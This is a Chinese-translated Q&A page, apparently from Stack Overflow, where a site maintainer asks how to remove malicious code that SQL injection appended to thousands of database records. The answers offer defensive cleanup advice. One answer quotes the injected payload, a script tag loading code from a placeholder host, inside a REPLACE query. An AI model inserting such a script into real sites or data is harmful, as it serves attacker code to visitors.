无法清除SQL注入的结果

时间:2011-11-30 22:45:37

标签: sql sql-server sql-injection

我维护但未开发的网站最近遭到SQL注入攻击 - 我们目前正在努力堵塞漏洞,但是,我也正在清理数据库。我们有几千条记录,每条记录包含20-30列数据,这些数据的末尾附有恶意代码。

我已经尝试过对每个列的文本进行替换,但不知何故,它找不到有问题的数据,并跳过它。

1)他们如何插入我无法搜索的数据?

2)如何在不必单独触摸每条记录的情况下将其删除?

我已经尝试通过IIS日志找到我的答案,但到目前为止,这是一场失败的战斗。

可以提供其他信息,但由于当前的安全问题,我希望保持稀疏。

4 个答案:

答案 0 :(得分:3)

我发布这个作为答案,即使我不是100%肯定它只适用于您的情况,因为评论太长了。如果我被投票,哦,好吧,我只是想帮忙。

第1点的答案是“有几种技术可以解决这个问题。”混淆有效载荷是编写良好的恶意软件的标志。他们可能会使用字符编码或其他一些技术,以便在UI中显示的内容不是数据库中真正的内容。一旦你弄清楚数据库中的真正含义,你就应该可以搜索它。

对于第2点,它在很大程度上取决于恶意代码是什么。如果它是用于XSS或CSRF的Javascript,我会尝试以下方法:

编写一个程序(或让开发人员这样做),执行以下操作:

  • 遍历受影响的表格
  • 使用卫生图书馆清理 文本。
  • 使用已清理的数据更新行

我不知道你有哪些工具,但如果是我,这将是一个.NET应用程序,我会使用Microsoft Web Protection Library来清理文本。它有一些非常有用的功能,例如

  • HtmlEncode()
  • GetSafeHtmlFragment() - 使用白名单方法保留html但删除任何恶意内容。 (如果我试图清理恶意脚本,这是我尝试的方法。)

这不是网络保护库意图的用途,但尝试它肯定不会受到伤害。

有一段视频here显示打算使用该库。

答案 1 :(得分:1)

有些工具可以让您检查事务日志,这些工具可以帮助您缩小受影响的范围。如果攻击发生在批处理操作中,则所有事务可能在相同的时间点和时间周围发生,因此在事务日志中会相当本地化。

要回答您的问题#1,您需要提供一些他们附加到列的数据的示例以及您尝试用来查找该数据的where子句/条件。

Select REPLACE ( 'Something Something</title><script src=http://XXXXXXX.com/XX.php ></script>' , '</title><script src=http://XXXXXXX.com/XX.php ></script>' , '' )

似乎适合我。网址有变化吗?

答案 2 :(得分:0)

我为你的颈部疼痛感到抱歉。

以下是一些建议。

首先,您需要查找伪造的数据行。在找到之前不要试图修复。

有些事要尝试。

  1. 将受影响的表转储到csv或其他文本文件。然后使用简单的文本编辑器或电子表格程序来浏览它,看看你是否能发现腐败模式。

  2. 尝试旧的SELECT COUNT(*), COLUMN FROM TABLE GROUP BY COLUMN技巧,直到找到包含废话的列。

  3. 一旦知道了要查看的位置,就可以设计SQL或客户端代码来进行清理。

答案 3 :(得分:0)

  

他们如何插入我无法搜索的数据?

也许它们是在应用程序使用的数据库连接的特权下执行的,并且您在不同的较低权限下运行。

  

如何在不必触及每条记录的情况下删除它   单独?

如果他们所做的更改有模式,您可以使用charindex()和LIKE等功能搜索该模式。如果模式是一致的,但可能出现在任何(文本)列中,那么您可以动态地读取系统表以构建查询每列的查询。